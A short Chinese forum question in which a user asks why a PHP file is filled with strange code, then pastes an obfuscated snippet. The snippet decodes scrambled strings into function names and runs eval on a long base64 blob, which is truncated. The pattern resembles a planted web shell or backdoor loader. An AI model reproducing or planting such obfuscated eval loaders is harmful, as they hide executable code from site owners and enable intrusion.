PHP文件里头为什么全是这样的代码？什么意思

<br /><?<br /> $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0iem5kRkhJZndLbWp1TVRob3BQYlZEWVN0WHNlUk9XWlVBR3ZhcUxjeUJpRWdRQ3hKTmxrclFGSVBaa3N5RVZHdFd1clRMT1lIZ2p6cGJhaFVtQkN4RG5kSmZTS3dpY1JNb3F2bE5lWEFPZzl5SlpETUtWSHZJQmV3Q3pNY2oyOXRZYzV5SlpEY0V1YU1nb0xkamU5UUluUHdJcU1MbXkwRUsySFFLMmVkWWU5UUluUHdJcU1MbXkwRWxaSWVqZTkwSmJVYUNIOUdKbkhHSlEwY0sySGFDQk4wa1pJZWplOTBKYlVhQ3p2M0NCbHNJbmUwWW5Ic1d6djNDQmxzSjJINUkyOXdDWldhSTJIY2IyVWVLMk53SmJpMEpCOXRrbkN3WTIwTUkySGNiMmV0Q1Y5c1lCUHRqQklla0dhTnFjVXdLMTkzQ0Jsc0luZTBZbkhzajJyZWoyYTlZYmVRS0J2c0tiSGVLRlhNRXFVM0NCbHNJbmUwWW5Ic2oycmVqMmFMbVE4K2dvVDhreFVPbzFVQ3hSeE16UFVOdXFpb0h4bFd6eFdNa2MwZFMxS1FvdzhkVVBVUmtScnh1eHlNTnE0eVd6aXhLVlB0SzJlMEpCOXRqQnlkUzBIbWtNMEVrVnIwSVpENlN3OTNJM0t0SVFXdFkzbEZTMVV6UzJyMFlCeTBTMnZkWTNOZVNWVTBDcWsrZ29UOEpaVXBZZzROcUd2VENCUFhPTTBFT24xZUluUk1KWlUwS3ExZUtiSExJRzBjbzI5dEluSHRJcTF4aGJpZWtjaUdZMjUwQ0I1ME96bDBDYnIwUzJyMFlCeTdrbk5UamJsUUNibzlDMmt3V1FSd2tHNE5xR3kvS25yeWtuZVZrcU1YS0ZOc0kySGNiM1VMSW52ZU9CMTVLM1BhYjJDZUluTlRiMjljSlZIR0lxRFRsWmxRYjNJZWplOTBKYlVhQ0g5R0puSEdKd1hMa1phTU9RNE5xR3ZwQ2JVcmtuTmRZRlVlWUZvOWtHeS9PelV3SzE5M0NCbHNJbmUwWW54cE9GSWVqZTlBQ2JlM1kzbFhLUTgra2NpdGpCMWVPemxTQ2JlM1kzbFhLd2tNU1E0TnFHdnBDYlVya25OZFlGVWVZRm85a0d5L096VXdLMTkzQ0Jsc0luZTBZbnhwT0ZJZWplOVhDYk5HS1ZleUluZWRZRzgra2NpdGpCMWVPemxSQ2JOR0tWZXlJbmVkWWNrZE9NMEVPWlVMSW52ZU9HeS9PelV3SzE5M0NCbHNJbmUwWW54cE9GSWVqZTkwSmJVYUN1OCtUNk04T1EwWEtGTnNJMkhjYjNVTEludmVTdTUzQ0Jsc0luZTBZbkhzV3U4K1Q2WDhTM1VMSW52ZU9NMEVPZzl5SlpETXN6aWVZWk5la1phTU9RNE5xR3YwSmJVYUN1NjgwQTNXMVN1cTY2bWFkTkU5UVczNDFTdXE2Nm1hZE5FOVFXMzQxWTd4cFdTQVQ2cm96UHEvZkFoY1Q2WDhTM1VMSW52ZU9HeS9LbnJ5a1owTU9RNE5xR3ZhSkI1QWtucndDQmo5a1ZOUUt3OUdLM1d0ajNOUWtjaXdDQnk5a0ZOMGhCdmVLMnJlQ2JvY2taVTVLbng5a0ZVZWhab2RqM05Ra0c0TnFHdlFqM2xMS1pvTVluUHRDM0hyQzJ4OWtWTHJJVlBRajNsTEtab2NPVkMxWVZOMEpCOXRrWmxlQ0ZsZUsycnNqMjlYQ3pNTGtaYU1ZbjlGSkI1c0NWOXdZejVMWUJJR1kyVWVTRk53al....<br />